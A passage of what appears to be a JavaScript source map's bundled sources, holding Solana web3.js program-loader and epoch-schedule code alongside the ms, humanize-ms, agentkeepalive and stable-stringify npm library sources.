Transaction fields\n//\n// TODO: replace 300 with a proper constant for the size of the other\n// Transaction fields\nconst CHUNK_SIZE = PACKET_DATA_SIZE - 300;\n\n/**\n * Program loader interface\n */\nexport class Loader {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Amount of program data placed in each load Transaction\n */\n static chunkSize: number = CHUNK_SIZE;\n\n /**\n * Minimum number of signatures required to load a program not including\n * retries\n *\n * Can be used to calculate transaction fees\n */\n static getMinNumSignatures(dataLength: number): number {\n return (\n 2 * // Every transaction requires two signatures (payer + program)\n (Math.ceil(dataLength / Loader.chunkSize) +\n 1 + // Add one for Create transaction\n 1) // Add one for Finalize transaction\n );\n }\n\n /**\n * Loads a generic program\n *\n * @param connection The connection to use\n * @param payer System account that pays to load the program\n * @param program Account to load the program into\n * @param programId Public key that identifies the loader\n * @param data Program octets\n * @return true if program was loaded successfully, false if program was already loaded\n */\n static async load(\n connection: Connection,\n payer: Signer,\n program: Signer,\n programId: PublicKey,\n data: Buffer | Uint8Array | Array<number>,\n ): Promise<boolean> {\n {\n const balanceNeeded = await connection.getMinimumBalanceForRentExemption(\n data.length,\n );\n\n // Fetch program account info to check if it has already been created\n const programInfo = await connection.getAccountInfo(\n program.publicKey,\n 'confirmed',\n );\n\n let transaction: Transaction | null = null;\n if (programInfo !== null) {\n if (programInfo.executable) {\n console.error('Program load failed, account is already executable');\n return false;\n }\n\n if (programInfo.data.length !== data.length) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.allocate({\n accountPubkey: program.publicKey,\n space: data.length,\n }),\n );\n }\n\n if (!programInfo.owner.equals(programId)) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.assign({\n accountPubkey: program.publicKey,\n programId,\n }),\n );\n }\n\n if (programInfo.lamports < balanceNeeded) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.transfer({\n fromPubkey: payer.publicKey,\n toPubkey: program.publicKey,\n lamports: balanceNeeded - programInfo.lamports,\n }),\n );\n }\n } else {\n transaction = new Transaction().add(\n SystemProgram.createAccount({\n fromPubkey: payer.publicKey,\n newAccountPubkey: program.publicKey,\n lamports: balanceNeeded > 0 ? balanceNeeded : 1,\n space: data.length,\n programId,\n }),\n );\n }\n\n // If the account is already created correctly, skip this step\n // and proceed directly to loading instructions\n if (transaction !== null) {\n await sendAndConfirmTransaction(\n connection,\n transaction,\n [payer, program],\n {\n commitment: 'confirmed',\n },\n );\n }\n }\n\n const dataLayout = BufferLayout.struct<\n Readonly<{\n bytes: number[];\n bytesLength: number;\n bytesLengthPadding: number;\n instruction: number;\n offset: number;\n }>\n >([\n BufferLayout.u32('instruction'),\n BufferLayout.u32('offset'),\n BufferLayout.u32('bytesLength'),\n BufferLayout.u32('bytesLengthPadding'),\n BufferLayout.seq(\n BufferLayout.u8('byte'),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'bytes',\n ),\n ]);\n\n const chunkSize = Loader.chunkSize;\n let offset = 0;\n let array = data;\n let transactions = [];\n while (array.length > 0) {\n const bytes = array.slice(0, chunkSize);\n const data = Buffer.alloc(chunkSize + 16);\n dataLayout.encode(\n {\n instruction: 0, // Load instruction\n offset,\n bytes: bytes as number[],\n bytesLength: 0,\n bytesLengthPadding: 0,\n },\n data,\n );\n\n const transaction = new Transaction().add({\n keys: [{pubkey: program.publicKey, isSigner: true, isWritable: true}],\n programId,\n data,\n });\n transactions.push(\n sendAndConfirmTransaction(connection, transaction, [payer, program], {\n commitment: 'confirmed',\n }),\n );\n\n // Delay between sends in an attempt to reduce rate limit errors\n if (connection._rpcEndpoint.includes('solana.com')) {\n const REQUESTS_PER_SECOND = 4;\n await sleep(1000 / REQUESTS_PER_SECOND);\n }\n\n offset += chunkSize;\n array = array.slice(chunkSize);\n }\n await Promise.all(transactions);\n\n // Finalize the account loaded with program data for execution\n {\n const dataLayout = BufferLayout.struct<IInstructionInputData>([\n BufferLayout.u32('instruction'),\n ]);\n\n const data = Buffer.alloc(dataLayout.span);\n dataLayout.encode(\n {\n instruction: 1, // Finalize instruction\n },\n data,\n );\n\n const transaction = new Transaction().add({\n keys: [\n {pubkey: program.publicKey, isSigner: true, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId,\n data,\n });\n const deployCommitment = 'processed';\n const finalizeSignature = await connection.sendTransaction(\n transaction,\n [payer, program],\n {preflightCommitment: deployCommitment},\n );\n const {context, value} = await connection.confirmTransaction(\n {\n signature: finalizeSignature,\n lastValidBlockHeight: transaction.lastValidBlockHeight!,\n blockhash: transaction.recentBlockhash!,\n },\n deployCommitment,\n );\n if (value.err) {\n throw new Error(\n `Transaction ${finalizeSignature} failed (${JSON.stringify(value)})`,\n );\n }\n // We prevent programs from being usable until the slot after their deployment.\n // See https://github.com/solana-labs/solana/pull/29654\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n try {\n const currentSlot = await connection.getSlot({\n commitment: deployCommitment,\n });\n if (currentSlot > context.slot) {\n break;\n }\n } catch {\n /* empty */\n }\n await new Promise(resolve =>\n setTimeout(resolve, Math.round(MS_PER_SLOT / 2)),\n );\n }\n }\n\n // success\n return true;\n }\n}\n","import type {Buffer} from 'buffer';\n\nimport {PublicKey} from './publickey';\nimport {Loader} from './loader';\nimport type {Connection} from './connection';\nimport type {Signer} from './keypair';\n\n/**\n * @deprecated Deprecated since Solana v1.17.20.\n */\nexport const BPF_LOADER_PROGRAM_ID = new PublicKey(\n 'BPFLoader2111111111111111111111111111111111',\n);\n\n/**\n * Factory class for transactions to interact with a program loader\n *\n * @deprecated Deprecated since Solana v1.17.20.\n */\nexport class BpfLoader {\n /**\n * Minimum number of signatures required to load a program not including\n * retries\n *\n * Can be used to calculate transaction fees\n */\n static getMinNumSignatures(dataLength: number): number {\n return Loader.getMinNumSignatures(dataLength);\n }\n\n /**\n * Load a SBF program\n *\n * @param connection The connection to use\n * @param payer Account that will pay program loading fees\n * @param program Account to load the program into\n * @param elf The entire ELF containing the SBF program\n * @param loaderProgramId The program id of the BPF loader to use\n * @return true if program was loaded successfully, false if program was already loaded\n */\n static load(\n connection: Connection,\n payer: Signer,\n program: Signer,\n elf: Buffer | Uint8Array | Array<number>,\n loaderProgramId: PublicKey,\n ): Promise<boolean> {\n return Loader.load(connection, payer, program, loaderProgramId, elf);\n }\n}\n","/**\n * Helpers.\n */\n\nvar s = 1000;\nvar m = s * 60;\nvar h = m * 60;\nvar d = h * 24;\nvar w = d * 7;\nvar y = d * 365.25;\n\n/**\n * Parse or format the given `val`.\n *\n * Options:\n *\n * - `long` verbose formatting [false]\n *\n * @param {String|Number} val\n * @param {Object} [options]\n * @throws {Error} throw an error if val is not a non-empty string or a number\n * @return {String|Number}\n * @api public\n */\n\nmodule.exports = function (val, options) {\n options = options || {};\n var type = typeof val;\n if (type === 'string' && val.length > 0) {\n return parse(val);\n } else if (type === 'number' && isFinite(val)) {\n return options.long ? fmtLong(val) : fmtShort(val);\n }\n throw new Error(\n 'val is not a non-empty string or a valid number. val=' +\n JSON.stringify(val)\n );\n};\n\n/**\n * Parse the given `str` and return milliseconds.\n *\n * @param {String} str\n * @return {Number}\n * @api private\n */\n\nfunction parse(str) {\n str = String(str);\n if (str.length > 100) {\n return;\n }\n var match = /^(-?(?:\\d+)?\\.?\\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(\n str\n );\n if (!match) {\n return;\n }\n var n = parseFloat(match[1]);\n var type = (match[2] || 'ms').toLowerCase();\n switch (type) {\n case 'years':\n case 'year':\n case 'yrs':\n case 'yr':\n case 'y':\n return n * y;\n case 'weeks':\n case 'week':\n case 'w':\n return n * w;\n case 'days':\n case 'day':\n case 'd':\n return n * d;\n case 'hours':\n case 'hour':\n case 'hrs':\n case 'hr':\n case 'h':\n return n * h;\n case 'minutes':\n case 'minute':\n case 'mins':\n case 'min':\n case 'm':\n return n * m;\n case 'seconds':\n case 'second':\n case 'secs':\n case 'sec':\n case 's':\n return n * s;\n case 'milliseconds':\n case 'millisecond':\n case 'msecs':\n case 'msec':\n case 'ms':\n return n;\n default:\n return undefined;\n }\n}\n\n/**\n * Short format for `ms`.\n *\n * @param {Number} ms\n * @return {String}\n * @api private\n */\n\nfunction fmtShort(ms) {\n var msAbs = Math.abs(ms);\n if (msAbs >= d) {\n return Math.round(ms / d) + 'd';\n }\n if (msAbs >= h) {\n return Math.round(ms / h) + 'h';\n }\n if (msAbs >= m) {\n return Math.round(ms / m) + 'm';\n }\n if (msAbs >= s) {\n return Math.round(ms / s) + 's';\n }\n return ms + 'ms';\n}\n\n/**\n * Long format for `ms`.\n *\n * @param {Number} ms\n * @return {String}\n * @api private\n */\n\nfunction fmtLong(ms) {\n var msAbs = Math.abs(ms);\n if (msAbs >= d) {\n return plural(ms, msAbs, d, 'day');\n }\n if (msAbs >= h) {\n return plural(ms, msAbs, h, 'hour');\n }\n if (msAbs >= m) {\n return plural(ms, msAbs, m, 'minute');\n }\n if (msAbs >= s) {\n return plural(ms, msAbs, s, 'second');\n }\n return ms + ' ms';\n}\n\n/**\n * Pluralization helper.\n */\n\nfunction plural(ms, msAbs, n, name) {\n var isPlural = msAbs >= n * 1.5;\n return Math.round(ms / n) + ' ' + name + (isPlural ? 's' : '');\n}\n","/*!\n * humanize-ms - index.js\n * Copyright(c) 2014 dead_horse <dead_horse@qq.com>\n * MIT Licensed\n */\n\n'use strict';\n\n/**\n * Module dependencies.\n */\n\nvar util = require('util');\nvar ms = require('ms');\n\nmodule.exports = function (t) {\n if (typeof t === 'number') return t;\n var r = ms(t);\n if (r === undefined) {\n var err = new Error(util.format('humanize-ms(%j) result undefined', t));\n console.warn(err.stack);\n }\n return r;\n};\n","'use strict';\n\nmodule.exports = {\n // agent\n CURRENT_ID: Symbol('agentkeepalive#currentId'),\n CREATE_ID: Symbol('agentkeepalive#createId'),\n INIT_SOCKET: Symbol('agentkeepalive#initSocket'),\n CREATE_HTTPS_CONNECTION: Symbol('agentkeepalive#createHttpsConnection'),\n // socket\n SOCKET_CREATED_TIME: Symbol('agentkeepalive#socketCreatedTime'),\n SOCKET_NAME: Symbol('agentkeepalive#socketName'),\n SOCKET_REQUEST_COUNT: Symbol('agentkeepalive#socketRequestCount'),\n SOCKET_REQUEST_FINISHED_COUNT: Symbol('agentkeepalive#socketRequestFinishedCount'),\n};\n","'use strict';\n\nconst OriginalAgent = require('http').Agent;\nconst ms = require('humanize-ms');\nconst debug = require('util').debuglog('agentkeepalive');\nconst {\n INIT_SOCKET,\n CURRENT_ID,\n CREATE_ID,\n SOCKET_CREATED_TIME,\n SOCKET_NAME,\n SOCKET_REQUEST_COUNT,\n SOCKET_REQUEST_FINISHED_COUNT,\n} = require('./constants');\n\n// OriginalAgent come from\n// - https://github.com/nodejs/node/blob/v8.12.0/lib/_http_agent.js\n// - https://github.com/nodejs/node/blob/v10.12.0/lib/_http_agent.js\n\n// node <= 10\nlet defaultTimeoutListenerCount = 1;\nconst majorVersion = parseInt(process.version.split('.', 1)[0].substring(1));\nif (majorVersion >= 11 && majorVersion <= 12) {\n defaultTimeoutListenerCount = 2;\n} else if (majorVersion >= 13) {\n defaultTimeoutListenerCount = 3;\n}\n\nfunction deprecate(message) {\n console.log('[agentkeepalive:deprecated] %s', message);\n}\n\nclass Agent extends OriginalAgent {\n constructor(options) {\n options = options || {};\n options.keepAlive = options.keepAlive !== false;\n // default is keep-alive and 4s free socket timeout\n // see https://medium.com/ssense-tech/reduce-networking-errors-in-nodejs-23b4eb9f2d83\n if (options.freeSocketTimeout === undefined) {\n options.freeSocketTimeout = 4000;\n }\n // Legacy API: keepAliveTimeout should be rename to `freeSocketTimeout`\n if (options.keepAliveTimeout) {\n deprecate('options.keepAliveTimeout is deprecated, please use options.freeSocketTimeout instead');\n options.freeSocketTimeout = options.keepAliveTimeout;\n delete options.keepAliveTimeout;\n }\n // Legacy API: freeSocketKeepAliveTimeout should be rename to `freeSocketTimeout`\n if (options.freeSocketKeepAliveTimeout) {\n deprecate('options.freeSocketKeepAliveTimeout is deprecated, please use options.freeSocketTimeout instead');\n options.freeSocketTimeout = options.freeSocketKeepAliveTimeout;\n delete options.freeSocketKeepAliveTimeout;\n }\n\n // Sets the socket to timeout after timeout milliseconds of inactivity on the socket.\n // By default is double free socket timeout.\n if (options.timeout === undefined) {\n // make sure socket default inactivity timeout >= 8s\n options.timeout = Math.max(options.freeSocketTimeout * 2, 8000);\n }\n\n // support humanize format\n options.timeout = ms(options.timeout);\n options.freeSocketTimeout = ms(options.freeSocketTimeout);\n options.socketActiveTTL = options.socketActiveTTL ? ms(options.socketActiveTTL) : 0;\n\n super(options);\n\n this[CURRENT_ID] = 0;\n\n // create socket success counter\n this.createSocketCount = 0;\n this.createSocketCountLastCheck = 0;\n\n this.createSocketErrorCount = 0;\n this.createSocketErrorCountLastCheck = 0;\n\n this.closeSocketCount = 0;\n this.closeSocketCountLastCheck = 0;\n\n // socket error event count\n this.errorSocketCount = 0;\n this.errorSocketCountLastCheck = 0;\n\n // request finished counter\n this.requestCount = 0;\n this.requestCountLastCheck = 0;\n\n // including free socket timeout counter\n this.timeoutSocketCount = 0;\n this.timeoutSocketCountLastCheck = 0;\n\n this.on('free', socket => {\n // https://github.com/nodejs/node/pull/32000\n // Node.js native agent will check socket timeout eqs agent.options.timeout.\n // Use the ttl or freeSocketTimeout to overwrite.\n const timeout = this.calcSocketTimeout(socket);\n if (timeout > 0 && socket.timeout !== timeout) {\n socket.setTimeout(timeout);\n }\n });\n }\n\n get freeSocketKeepAliveTimeout() {\n deprecate('agent.freeSocketKeepAliveTimeout is deprecated, please use agent.options.freeSocketTimeout instead');\n return this.options.freeSocketTimeout;\n }\n\n get timeout() {\n deprecate('agent.timeout is deprecated, please use agent.options.timeout instead');\n return this.options.timeout;\n }\n\n get socketActiveTTL() {\n deprecate('agent.socketActiveTTL is deprecated, please use agent.options.socketActiveTTL instead');\n return this.options.socketActiveTTL;\n }\n\n calcSocketTimeout(socket) {\n /**\n * return <= 0: should free socket\n * return > 0: should update socket timeout\n * return undefined: not find custom timeout\n */\n let freeSocketTimeout = this.options.freeSocketTimeout;\n const socketActiveTTL = this.options.socketActiveTTL;\n if (socketActiveTTL) {\n // check socketActiveTTL\n const aliveTime = Date.now() - socket[SOCKET_CREATED_TIME];\n const diff = socketActiveTTL - aliveTime;\n if (diff <= 0) {\n return diff;\n }\n if (freeSocketTimeout && diff < freeSocketTimeout) {\n freeSocketTimeout = diff;\n }\n }\n // set freeSocketTimeout\n if (freeSocketTimeout) {\n // set free keepalive timer\n // try to use socket custom freeSocketTimeout first, support headers['keep-alive']\n // https://github.com/node-modules/urllib/blob/b76053020923f4d99a1c93cf2e16e0c5ba10bacf/lib/urllib.js#L498\n const customFreeSocketTimeout = socket.freeSocketTimeout || socket.freeSocketKeepAliveTimeout;\n return customFreeSocketTimeout || freeSocketTimeout;\n }\n }\n\n keepSocketAlive(socket) {\n const result = super.keepSocketAlive(socket);\n // should not keepAlive, do nothing\n if (!result) return result;\n\n const customTimeout = this.calcSocketTimeout(socket);\n if (typeof customTimeout === 'undefined') {\n return true;\n }\n if (customTimeout <= 0) {\n debug('%s(requests: %s, finished: %s) free but need to destroy by TTL, request count %s, diff is %s',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT], customTimeout);\n return false;\n }\n if (socket.timeout !== customTimeout) {\n socket.setTimeout(customTimeout);\n }\n return true;\n }\n\n // only call on addRequest\n reuseSocket(...args) {\n // reuseSocket(socket, req)\n super.reuseSocket(...args);\n const socket = args[0];\n const req = args[1];\n req.reusedSocket = true;\n const agentTimeout = this.options.timeout;\n if (getSocketTimeout(socket) !== agentTimeout) {\n // reset timeout before use\n socket.setTimeout(agentTimeout);\n debug('%s reset timeout to %sms', socket[SOCKET_NAME], agentTimeout);\n }\n socket[SOCKET_REQUEST_COUNT]++;\n debug('%s(requests: %s, finished: %s) reuse on addRequest, timeout %sms',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT],\n getSocketTimeout(socket));\n }\n\n [CREATE_ID]() {\n const id = this[CURRENT_ID]++;\n if (this[CURRENT_ID] === Number.MAX_SAFE_INTEGER) this[CURRENT_ID] = 0;\n return id;\n }\n\n [INIT_SOCKET](socket, options) {\n // bugfix here.\n // https on node 8, 10 won't set agent.options.timeout by default\n // TODO: need to fix on node itself\n if (options.timeout) {\n const timeout = getSocketTimeout(socket);\n if (!timeout) {\n socket.setTimeout(options.timeout);\n }\n }\n\n if (this.options.keepAlive) {\n // Disable Nagle's algorithm: http://blog.caustik.com/2012/04/08/scaling-node-js-to-100k-concurrent-connections/\n // https://fengmk2.com/benchmark/nagle-algorithm-delayed-ack-mock.html\n socket.setNoDelay(true);\n }\n this.createSocketCount++;\n if (this.options.socketActiveTTL) {\n socket[SOCKET_CREATED_TIME] = Date.now();\n }\n // don't show the hole '-----BEGIN CERTIFICATE----' key string\n socket[SOCKET_NAME] = `sock[${this[CREATE_ID]()}#${options._agentKey}]`.split('-----BEGIN', 1)[0];\n socket[SOCKET_REQUEST_COUNT] = 1;\n socket[SOCKET_REQUEST_FINISHED_COUNT] = 0;\n installListeners(this, socket, options);\n }\n\n createConnection(options, oncreate) {\n let called = false;\n const onNewCreate = (err, socket) => {\n if (called) return;\n called = true;\n\n if (err) {\n this.createSocketErrorCount++;\n return oncreate(err);\n }\n this[INIT_SOCKET](socket, options);\n oncreate(err, socket);\n };\n\n const newSocket = super.createConnection(options, onNewCreate);\n if (newSocket) onNewCreate(null, newSocket);\n return newSocket;\n }\n\n get statusChanged() {\n const changed = this.createSocketCount !== this.createSocketCountLastCheck ||\n this.createSocketErrorCount !== this.createSocketErrorCountLastCheck ||\n this.closeSocketCount !== this.closeSocketCountLastCheck ||\n this.errorSocketCount !== this.errorSocketCountLastCheck ||\n this.timeoutSocketCount !== this.timeoutSocketCountLastCheck ||\n this.requestCount !== this.requestCountLastCheck;\n if (changed) {\n this.createSocketCountLastCheck = this.createSocketCount;\n this.createSocketErrorCountLastCheck = this.createSocketErrorCount;\n this.closeSocketCountLastCheck = this.closeSocketCount;\n this.errorSocketCountLastCheck = this.errorSocketCount;\n this.timeoutSocketCountLastCheck = this.timeoutSocketCount;\n this.requestCountLastCheck = this.requestCount;\n }\n return changed;\n }\n\n getCurrentStatus() {\n return {\n createSocketCount: this.createSocketCount,\n createSocketErrorCount: this.createSocketErrorCount,\n closeSocketCount: this.closeSocketCount,\n errorSocketCount: this.errorSocketCount,\n timeoutSocketCount: this.timeoutSocketCount,\n requestCount: this.requestCount,\n freeSockets: inspect(this.freeSockets),\n sockets: inspect(this.sockets),\n requests: inspect(this.requests),\n };\n }\n}\n\n// node 8 don't has timeout attribute on socket\n// https://github.com/nodejs/node/pull/21204/files#diff-e6ef024c3775d787c38487a6309e491dR408\nfunction getSocketTimeout(socket) {\n return socket.timeout || socket._idleTimeout;\n}\n\nfunction installListeners(agent, socket, options) {\n debug('%s create, timeout %sms', socket[SOCKET_NAME], getSocketTimeout(socket));\n\n // listener socket events: close, timeout, error, free\n function onFree() {\n // create and socket.emit('free') logic\n // https://github.com/nodejs/node/blob/master/lib/_http_agent.js#L311\n // no req on the socket, it should be the new socket\n if (!socket._httpMessage && socket[SOCKET_REQUEST_COUNT] === 1) return;\n\n socket[SOCKET_REQUEST_FINISHED_COUNT]++;\n agent.requestCount++;\n debug('%s(requests: %s, finished: %s) free',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT]);\n\n // should reuse on pedding requests?\n const name = agent.getName(options);\n if (socket.writable && agent.requests[name] && agent.requests[name].length) {\n // will be reuse on agent free listener\n socket[SOCKET_REQUEST_COUNT]++;\n debug('%s(requests: %s, finished: %s) will be reuse on agent free event',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT]);\n }\n }\n socket.on('free', onFree);\n\n function onClose(isError) {\n debug('%s(requests: %s, finished: %s) close, isError: %s',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT], isError);\n agent.closeSocketCount++;\n }\n socket.on('close', onClose);\n\n // start socket timeout handler\n function onTimeout() {\n // onTimeout and emitRequestTimeout(_http_client.js)\n // https://github.com/nodejs/node/blob/v12.x/lib/_http_client.js#L711\n const listenerCount = socket.listeners('timeout').length;\n // node <= 10, default listenerCount is 1, onTimeout\n // 11 < node <= 12, default listenerCount is 2, onTimeout and emitRequestTimeout\n // node >= 13, default listenerCount is 3, onTimeout,\n // onTimeout(https://github.com/nodejs/node/pull/32000/files#diff-5f7fb0850412c6be189faeddea6c5359R333)\n // and emitRequestTimeout\n const timeout = getSocketTimeout(socket);\n const req = socket._httpMessage;\n const reqTimeoutListenerCount = req && req.listeners('timeout').length || 0;\n debug('%s(requests: %s, finished: %s) timeout after %sms, listeners %s, defaultTimeoutListenerCount %s, hasHttpRequest %s, HttpRequest timeoutListenerCount %s',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT],\n timeout, listenerCount, defaultTimeoutListenerCount, !!req, reqTimeoutListenerCount);\n if (debug.enabled) {\n debug('timeout listeners: %s', socket.listeners('timeout').map(f => f.name).join(', '));\n }\n agent.timeoutSocketCount++;\n const name = agent.getName(options);\n if (agent.freeSockets[name] && agent.freeSockets[name].indexOf(socket) !== -1) {\n // free socket timeout, destroy quietly\n socket.destroy();\n // Remove it from freeSockets list immediately to prevent new requests\n // from being sent through this socket.\n agent.removeSocket(socket, options);\n debug('%s is free, destroy quietly', socket[SOCKET_NAME]);\n } else {\n // if there is no any request socket timeout handler,\n // agent need to handle socket timeout itself.\n //\n // custom request socket timeout handle logic must follow these rules:\n // 1. Destroy socket first\n // 2. Must emit socket 'agentRemove' event tell agent remove socket\n // from freeSockets list immediately.\n // Otherise you may be get 'socket hang up' error when reuse\n // free socket and timeout happen in the same time.\n if (reqTimeoutListenerCount === 0) {\n const error = new Error('Socket timeout');\n error.code = 'ERR_SOCKET_TIMEOUT';\n error.timeout = timeout;\n // must manually call socket.end() or socket.destroy() to end the connection.\n // https://nodejs.org/dist/latest-v10.x/docs/api/net.html#net_socket_settimeout_timeout_callback\n socket.destroy(error);\n agent.removeSocket(socket, options);\n debug('%s destroy with timeout error', socket[SOCKET_NAME]);\n }\n }\n }\n socket.on('timeout', onTimeout);\n\n function onError(err) {\n const listenerCount = socket.listeners('error').length;\n debug('%s(requests: %s, finished: %s) error: %s, listenerCount: %s',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT],\n err, listenerCount);\n agent.errorSocketCount++;\n if (listenerCount === 1) {\n // if socket don't contain error event handler, don't catch it, emit it again\n debug('%s emit uncaught error event', socket[SOCKET_NAME]);\n socket.removeListener('error', onError);\n socket.emit('error', err);\n }\n }\n socket.on('error', onError);\n\n function onRemove() {\n debug('%s(requests: %s, finished: %s) agentRemove',\n socket[SOCKET_NAME],\n socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT]);\n // We need this function for cases like HTTP 'upgrade'\n // (defined by WebSockets) where we need to remove a socket from the\n // pool because it'll be locked up indefinitely\n socket.removeListener('close', onClose);\n socket.removeListener('error', onError);\n socket.removeListener('free', onFree);\n socket.removeListener('timeout', onTimeout);\n socket.removeListener('agentRemove', onRemove);\n }\n socket.on('agentRemove', onRemove);\n}\n\nmodule.exports = Agent;\n\nfunction inspect(obj) {\n const res = {};\n for (const key in obj) {\n res[key] = obj[key].length;\n }\n return res;\n}\n","'use strict';\n\nconst OriginalHttpsAgent = require('https').Agent;\nconst HttpAgent = require('./agent');\nconst {\n INIT_SOCKET,\n CREATE_HTTPS_CONNECTION,\n} = require('./constants');\n\nclass HttpsAgent extends HttpAgent {\n constructor(options) {\n super(options);\n\n this.defaultPort = 443;\n this.protocol = 'https:';\n this.maxCachedSessions = this.options.maxCachedSessions;\n /* istanbul ignore next */\n if (this.maxCachedSessions === undefined) {\n this.maxCachedSessions = 100;\n }\n\n this._sessionCache = {\n map: {},\n list: [],\n };\n }\n\n createConnection(options, oncreate) {\n const socket = this[CREATE_HTTPS_CONNECTION](options, oncreate);\n this[INIT_SOCKET](socket, options);\n return socket;\n }\n}\n\n// https://github.com/nodejs/node/blob/master/lib/https.js#L89\nHttpsAgent.prototype[CREATE_HTTPS_CONNECTION] = OriginalHttpsAgent.prototype.createConnection;\n\n[\n 'getName',\n '_getSession',\n '_cacheSession',\n // https://github.com/nodejs/node/pull/4982\n '_evictSession',\n].forEach(function(method) {\n /* istanbul ignore next */\n if (typeof OriginalHttpsAgent.prototype[method] === 'function') {\n HttpsAgent.prototype[method] = OriginalHttpsAgent.prototype[method];\n }\n});\n\nmodule.exports = HttpsAgent;\n","'use strict';\n\nmodule.exports = require('./lib/agent');\nmodule.exports.HttpsAgent = require('./lib/https_agent');\nmodule.exports.constants = require('./lib/constants');\n","var objToString = Object.prototype.toString;\nvar objKeys = Object.keys || function(obj) {\n\t\tvar keys = [];\n\t\tfor (var name in obj) {\n\t\t\tkeys.push(name);\n\t\t}\n\t\treturn keys;\n\t};\n\nfunction stringify(val, isArrayProp) {\n\tvar i, max, str, keys, key, propVal, toStr;\n\tif (val === true) {\n\t\treturn \"true\";\n\t}\n\tif (val === false) {\n\t\treturn \"false\";\n\t}\n\tswitch (typeof val) {\n\t\tcase \"object\":\n\t\t\tif (val === null) {\n\t\t\t\treturn null;\n\t\t\t} else if (val.toJSON && typeof val.toJSON === \"function\") {\n\t\t\t\treturn stringify(val.toJSON(), isArrayProp);\n\t\t\t} else {\n\t\t\t\ttoStr = objToString.call(val);\n\t\t\t\tif (toStr === \"[object Array]\") {\n\t\t\t\t\tstr = '[';\n\t\t\t\t\tmax = val.length - 1;\n\t\t\t\t\tfor(i = 0; i < max; i++) {\n\t\t\t\t\t\tstr += stringify(val[i], true) + ',';\n\t\t\t\t\t}\n\t\t\t\t\tif (max > -1) {\n\t\t\t\t\t\tstr += stringify(val[i], true);\n\t\t\t\t\t}\n\t\t\t\t\treturn str + ']';\n\t\t\t\t} else if (toStr === \"[object Object]\") {\n\t\t\t\t\t// only object is left\n\t\t\t\t\tkeys = objKeys(val).sort();\n\t\t\t\t\tmax = keys.length;\n\t\t\t\t\tstr = \"\";\n\t\t\t\t\ti = 0;\n\t\t\t\t\twhile (i < max) {\n\t\t\t\t\t\tkey = keys[i];\n\t\t\t\t\t\tpropVal = stringify(val[key], false);\n\t\t\t\t\t\tif (propVal !== undefined) {\n\t\t\t\t\t\t\tif (str) {\n\t\t\t\t\t\t\t\tstr += ',';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tstr += JSON.stringify(key) + ':' + propVal;\n\t\t\t\t\t\t}\n\t\t\t\t\t\ti++;\n\t\t\t\t\t}\n\t\t\t\t\treturn '{' + str + '}';\n\t\t\t\t} else {\n\t\t\t\t\treturn JSON.stringify(val);\n\t\t\t\t}\n\t\t\t}\n\t\tcase \"function\":\n\t\tcase \"undefined\":\n\t\t\treturn isArrayProp ? null : undefined;\n\t\tcase \"string\":\n\t\t\treturn JSON.stringify(val);\n\t\tdefault:\n\t\t\treturn isFinite(val) ? val : null;\n\t}\n}\n\nmodule.exports = function(val) {\n\tvar returnVal = stringify(val, false);\n\tif (returnVal !== undefined) {\n\t\treturn ''+ returnVal;\n\t}\n};\n","const MINIMUM_SLOT_PER_EPOCH = 32;\n\n// Returns the number of trailing zeros in the binary representation of self.\nfunction trailingZeros(n: number) {\n let trailingZeros = 0;\n while (n > 1) {\n n /= 2;\n trailingZeros++;\n }\n return trailingZeros;\n}\n\n// Returns the smallest power of two greater than or equal to n\nfunction nextPowerOfTwo(n: number) {\n if (n === 0) return 1;\n n--;\n n |= n >> 1;\n n |= n >> 2;\n n |= n >> 4;\n n |= n >> 8;\n n |= n >> 16;\n n |= n >> 32;\n return n + 1;\n}\n\n/**\n * Epoch schedule\n * (see https://docs.solana.com/terminology#epoch)\n * Can be retrieved with the {@link Connection.getEpochSchedule} method\n */\nexport class EpochSchedule {\n /** The maximum number of slots in each epoch */\n public slotsPerEpoch: number;\n /** The number of slots before beginning of an epoch to calculate a leader schedule for that epoch */\n public leaderScheduleSlotOffset: number;\n /** Indicates whether epochs start short and grow */\n public warmup: boolean;\n /** The first epoch with `slotsPerEpoch` slots */\n public firstNormalEpoch: number;\n /** The first slot of `firstNormalEpoch` */\n public firstNormalSlot: number;\n\n constructor(\n slotsPerEpoch: number,\n leaderScheduleSlotOffset: number,\n warmup: boolean,\n firstNormalEpoch: number,\n firstNormalSlot: number,\n ) {\n this.slotsPerEpoch = slotsPerEpoch;\n this.leaderScheduleSlotOffset = leaderScheduleSlotOffset;\n this.warmup = warmup;\n this.firstNormalEpoch = firstNormalEpoch;\n this.firstNormalSlot = firstNormalSlot;\n }\n\n getEpoch(slot: number): number {\n return this.getEpochAndSlotIndex(slot)[0];\n }\n\n getEpochAndSlotIndex(slot: number): [number, number] {\n if (slot < this.firstNormalSlot) {\n const epoch =\n trailingZeros(nextPowerOfTwo(slot + MINIMUM_SLOT_PER_EPOCH + 1)) -\n trailingZeros(MINIMUM_SLOT_PER_EPOCH) -\n 1;\n\n const epochLen = this.getSlotsInEpoch(epoch);\n const slotIndex = slot - (epochLen - MINIMUM_SLOT_PER_EPOCH);\n return [epoch, 